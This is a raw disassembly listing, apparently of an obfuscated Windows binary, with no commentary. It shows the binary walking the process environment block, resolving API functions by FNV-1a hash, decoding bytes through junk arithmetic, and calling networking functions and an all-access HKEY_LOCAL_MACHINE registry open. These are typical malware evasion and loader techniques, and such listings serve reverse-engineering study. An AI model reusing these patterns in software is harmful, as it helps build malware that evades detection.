add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x6a
add bl, dl
cmp rdi, 0x1000
jae 0x1401f314f
lea rax, [r10 + 1]
cmp rdi, rax
jbe 0x1401f3098
movabs rdx, 0xfb50a2d3351fd1dc
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 4
add bl, dl
cmp r10, 9
jb 0x1401f2d04
movabs rdx, 0xe770ca89d7ef62b4
add rdx, r9
mov al, r8b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
lea ebx, [rcx + rcx]
jmp 0x1401f325f
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f2f8a
movabs rcx, 0x23105365ef80b02c
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x34
jmp 0x1401f33ad
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f2fb2
movabs rdx, 0xb8b05b574343cd24
mov ecx, r14d
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
jmp 0x1401f3199
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f2fde
movabs rcx, 0x3805f4fed255ba0
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x60
jmp 0x1401f32f8
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f2eb9
movabs rdx, 0x4e5063489706ea1c
mov ecx, reloc.WLDAP32.dll_Ordinal_30
jmp 0x1401f31f6
lea rax, [r10 + 1]
cmp rdi, rax
jne 0x1401f301c
movabs rdx, 0xb4987d18e7410842
mov ecx, Ordinal_27
jmp 0x1401f2bd8
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f3048
movabs rcx, 0xff688111912296be
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x32
jmp 0x1401f3287
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f3065
movabs rdx, 0x95088902e4e5b3b6
mov ecx, 3
jmp 0x1401f2e15
lea rax, [r10 + 9]
cmp rdi, rax
jne 0x1401f2ef4
movabs rdx, 0xb189cde364d7c22
mov ecx, 9
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f33ad
jne 0x1401f30bd
movabs rcx, 0x4620a6cbdf016058
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x68
jmp 0x1401f33ad
lea rax, [r10 + 2]
cmp rdi, rax
jne 0x1401f30e7
movabs rdx, 0xdbc0aebd32c47d50
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x30
jmp 0x1401f319c
lea rax, [r10 + 3]
cmp rdi, rax
jne 0x1401f3104
movabs rdx, 0x2690b2b5dca60bcc
mov ecx, gethostname
jmp 0x1401f31d0
lea rax, [r10 + 5]
cmp rdi, rax
jne 0x1401f312e
movabs rdx, 0xbc30baa7306928c4
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x5c
jmp 0x1401f32ae
lea rax, [r10 + 8]
cmp rdi, rax
jne 0x1401f2f2c
movabs rdx, 0x9ca0c6912e0dd438
mov ecx, reloc.WLDAP32.dll_Ordinal_60
jmp 0x1401f2bd8
movabs rdx, 0x3240ce8281d0f130
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, byte [rbp + r9 + 0x670]
sub bl, al
sub bl, 0x50
jmp 0x1401f2e22
movabs rdx, 0x7d10d27b2bb27fac
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_41
sub cl, al
lea ebx, [rcx + rcx]
sub bl, byte [rbp + r9 + 0x670]
add bl, r8b
add bl, dl
jmp 0x1401f332b
movabs rdx, 0x9d38457f9ceb3d7a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x56
jmp 0x1401f319c
movabs rdx, 0x52684186f309aefe
mov ecx, 7
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f32f8
movabs rdx, 0x7983d8e49282082
mov ecx, reloc.WS2_32.dll_gethostname
add rdx, r9
mov al, r8b
and al, dl
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f32d8
movabs rdx, 0x71f8359cf565038a
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_32
sub cl, al
lea ebx, [rcx + rcx]
add bl, r8b
add bl, dl
jmp 0x1401f328a
movabs rdx, 0xdc582daba1a1e692
mov ecx, esi
jmp 0x1401f2bd8
movabs rdx, 0x46b825ba4ddec99a
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0x36
add bl, dl
movabs rdx, 0x8cd8cc862ce029f2
add rdx, r9
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r8b
add cl, dl
mov byte [rbp + r9 + 0x670], cl
add r10, rsi
sub r9, rsi
jmp 0x1401f33bc
movabs rdx, 0x664819d0503a1e26
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov bl, r8b
sub bl, al
sub bl, 0xa
add bl, dl
movabs rdx, 0xd7a8d07ed6c1b86e
add rdx, r9
mov al, dl
and al, r8b
add al, al
mov cl, bl
sub cl, al
add cl, dl
add cl, r8b
sub cl, r14b
mov byte [rbp + r9 + 0x670], cl
add rdi, r10
jmp 0x1401f32f8
movabs rcx, 0xd0a811defc77012e
add rcx, r9
mov al, cl
and al, dl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, 0x42
movzx eax, bl
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x1401f33bc
mov r8, rdx
movabs rcx, 0x85d80de6529572b2
add rcx, r9
and dl, cl
mov eax, reloc.WS2_32.dll_recvfrom
sub al, dl
lea ebx, [rax + rax]
add bl, r8b
add bl, cl
movabs rdx, 0x2278d47780a346ea
add rdx, r9
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
sub cl, 0x66
add cl, dl
movzx eax, cl
mov byte [rbp + r9 + 0x670], al
add r10, rsi
add rax, r10
sub r9, rax
movabs rcx, 0xc7e0d673d5940e28
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
sub r8b, 0x18
add r8b, cl
mov byte [rbp + r9 + 0x670], r8b
add rdi, rsi
or rax, 0xffffffffffffffff
sub rax, rdi
add r9, rax
jmp 0x1401f33ad
movabs rcx, 0xf03805f4fed255ba
add rcx, r9
mov al, dl
and al, cl
add al, al
sub dl, al
lea ebx, [rcx + rdx]
sub bl, r12b
movzx eax, byte [rbp + r9 + 0x670]
add rax, r10
add r9, rax
add r9, rsi
jmp 0x1401f289f
movabs rcx, 0xef09081821178336
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, 0x7a
jmp 0x1401f289c
movabs rcx, 0xa439041f7735f4ba
add rcx, r9
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea ebx, [rcx + r8]
sub bl, r12b
jmp 0x1401f288c
lea r12, [rbp + 0x145e418]
jmp 0x1401f3423
lea r12, [rbp + 0x136ab56]
jmp 0x1401f3423
lea r12, [rbp + 0x670]
mov r10, qword [0x1404dbc30]
test r10, r10
jne 0x1401f358d
mov esi, r13d
mov r14d, 0xeced0b92
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f349f
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f3492
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f3483
cmp edx, esi
jne 0x1401f3571
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401f3571
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401f3571
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f34f3
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f34e8
cmp edx, r14d
je 0x1401f3509
test r10d, r10d
jne 0x1401f34d3
jmp 0x1401f3571
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401f3586
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401f3586
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401f3564
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401f3540
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401f3557
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f3583
cmp qword [rbx + 0x30], r13
jne 0x1401f3453
mov r10, r13
mov qword [0x1404dbc30], r10
mov qword [rsp + 0x40], r13
lea rax, [0x1404db4f8]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], r13d
xor r9d, r9d
xor r8d, r8d
mov rdx, r12
mov rcx, 0xffffffff80000002
call r10
mov rdx, qword [0x1404dbba8]
test rdx, rdx
jne 0x1401f372a
mov esi, r13d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
mov r15d, 0x811c9dc5
test esi, esi
je 0x1401f3640
mov rdx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r15d
jmp 0x1401f3632
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x1401f3621
cmp r8d, esi
jne 0x1401f3719
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401f3719
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x1401f3719
mov edi, dword [r11 + 0x20]
mov r12d, 1
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r15d
jmp 0x1401f3698
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r12
test dl, dl
jne 0x1401f368b
cmp r8d, r14d
je 0x1401f36ad
test ebx, ebx
jne 0x1401f3679
jmp 0x1401f3719
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x1401f3721
lea rcx, [rax + r11]
cmp rdx, rcx
jae 0x1401f3721
mov esi, r15d
mov r14d, r15d
jmp 0x1401f36ea
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401f36dc
jmp 0x1401f36ff
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401f36f2
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x1401f35ed
mov qword [0x1404dbba8], rdx
jmp 0x1401f3730
mov r12d, 1
mov ecx, 0x99
call rdx
mov rbx, qword [0x1404dbbe8]
test rbx, rbx
jne 0x1401f389c
mov esi, r13d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f37b3
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f37a6
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f3797
cmp edx, esi
jne 0x1401f3880
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f3880
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f3880
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f3807
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f37fc
cmp edx, r14d
je 0x1401f381d
test r11d, r11d
jne 0x1401f37e7
jmp 0x1401f3880
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x1401f3895
lea rcx, [r10 + rax]
cmp rbx, rcx
jae 0x1401f3895
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f385f
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
cmp al, 0x2e
jne 0x1401f3851
jmp 0x1401f3874
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, r12
mov al, byte [rbx]
test al, al
jne 0x1401f3867
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f3892
cmp qword [rbx + 0x30], r13
jne 0x1401f3767
mov rbx, r13
mov qword [0x1404dbbe8], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x1404dbbe0]
test rdx, rdx
jne 0x1401f3a0e
mov esi, r13d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f3925
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f3918
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f3909
cmp edx, esi
jne 0x1401f39f2
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f39f2
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f39f2
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f3979
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f396e
cmp edx, r14d
je 0x1401f398f
test r11d, r11d
jne 0x1401f3959
jmp 0x1401f39f2
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401f3a07
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401f3a07
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f39d1
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401f39c3
jmp 0x1401f39e6
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401f39d9
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f3a04
cmp qword [rbx + 0x30], r13
jne 0x1401f38d9
mov rdx, r13
mov qword [0x1404dbbe0], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd8]
test rdx, rdx
jne 0x1401f3b77
mov esi, r13d
mov r14d, 0x2fd4df39
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f3a8e
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f3a81
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f3a72
cmp edx, esi
jne 0x1401f3b5b
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f3b5b
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f3b5b
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f3ae2
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f3ad7
cmp edx, r14d
je 0x1401f3af8
test r11d, r11d
jne 0x1401f3ac2
jmp 0x1401f3b5b
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401f3b70
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401f3b70
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f3b3a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401f3b2c
jmp 0x1401f3b4f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401f3b42
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f3b6d
cmp qword [rbx + 0x30], r13
jne 0x1401f3a42
mov rdx, r13
mov qword [0x1404dbbd8], rdx
xor ecx, ecx
call rdx
mov rdx, qword [0x1404dbbd0]
test rdx, rdx
jne 0x1401f3ce0
mov esi, r13d
mov r14d, 0xe80fd3a
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f3bf7
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f3bea
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f3bdb
cmp edx, esi
jne 0x1401f3cc4
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x1401f3cc4
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x1401f3cc4
mov edi, dword [r10 + 0x20]
dec r11d
lea rdx, [rdi + r11*4]
mov r8d, dword [rdx + r9]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f3c4b
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f3c40
cmp edx, r14d
je 0x1401f3c61
test r11d, r11d
jne 0x1401f3c2b
jmp 0x1401f3cc4
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x1401f3cd9
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x1401f3cd9
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f3ca3
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
cmp al, 0x2e
jne 0x1401f3c95
jmp 0x1401f3cb8
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r12
mov al, byte [rdx]
test al, al
jne 0x1401f3cab
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f3cd6
cmp qword [rbx + 0x30], r13
jne 0x1401f3bab
mov rdx, r13
mov qword [0x1404dbbd0], rdx
xor ecx, ecx
call rdx
cmp qword [0x1404dbbc8], r13
jne 0x1401f3e48
mov esi, r13d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f3d5d
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f3d50
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f3d41
cmp edx, esi
jne 0x1401f3e2c
mov r10, qword [rbx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x1401f3e2c
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x1401f3e2c
mov edi, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rdi]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x1401f3db1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
add r8, r12
test cl, cl
jne 0x1401f3da6
cmp edx, r14d
je 0x1401f3dc7
test r9d, r9d
jne 0x1401f3d91
jmp 0x1401f3e2c
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x1401f3e41
lea rcx, [rax + r11]
cmp r9, rcx
jae 0x1401f3e41
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
jmp 0x1401f3e09
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, r12
mov al, byte [r9]
cmp al, 0x2e
jne 0x1401f3dfb
jmp 0x1401f3e1f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, r12
mov al, byte [r9]
test al, al
jne 0x1401f3e12
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f3e3e
cmp qword [rbx + 0x30], r13
jne 0x1401f3d11
mov r9, r13
mov qword [0x1404dbbc8], r9
mov r8, qword [0x1404dbc00]
test r8, r8
jne 0x1401f3eb9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r8, qword [rax]
mov r10, r8
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x1401f3ea1
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x1401f3e85
cmp edx, 0x610c0de3
je 0x1401f3f0a
mov r8, qword [r8]
cmp r8, r10
je 0x1401f3eaf
cmp qword [r8 + 0x30], r13
jne 0x1401f3e6b
mov r8, r13
mov qword [0x1404dbc00], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r13d
mov r11d, dword [r10 + r8 + 0x20]
mov eax, r9d
lea rcx, [r11 + rax*4]
mov edx, dword [rcx + r8]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, r12
test al, al
je 0x1401f3f05
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, r12
test al, al
jne 0x1401f3ee9
cmp ecx, 0xe463da3c
je 0x1401f3f10
add r9d, r12d
jmp 0x1401f3ecd
mov r8, qword [r8 + 0x30]
jmp 0x1401f3eb2
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x1404dbbf8]
test r10, r10
jne 0x1401f409c
mov esi, r13d
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov rbx, qword [rcx]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
mov word [rsp + 0x58], ax
test esi, esi
je 0x1401f3fb0
mov rcx, qword [rsp + 0x60]
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x1401f3fa3
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x1401f3f94
cmp edx, esi
jne 0x1401f4080
mov r9, qword [rbx + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x1401f4080
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x1401f4080
mov edi, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rdi]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x1401f4004
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x1401f3ff9
cmp edx, r14d
je 0x1401f401a
test r10d, r10d
jne 0x1401f3fe4
jmp 0x1401f4080
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x1401f4095
lea rcx, [rax + r11]
cmp r10, rcx
jae 0x1401f4095
mov esi, 0x811c9dc5
mov r14d, esi
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x1401f4073
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x1401f404f
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x1401f4066
mov rbx, qword [r15]
mov rbx, qword [rbx]
cmp rbx, r15
je 0x1401f4092
cmp qword [rbx + 0x30], r13
jne 0x1401f3f64
mov r10, r13
mov qword [0x1404dbbf8], r10
lea r9, [rbp + 0x119c]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x1404dbbf0]
test r8, r8
jne 0x1401f421c
mov esi, r13d
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax]
mov r15, rbx
movups xmm0, xmmword [rbx + 0x58]
movups xmmword [rsp + 0x58], xmm0
movd eax, xmm0
sub ax, 8
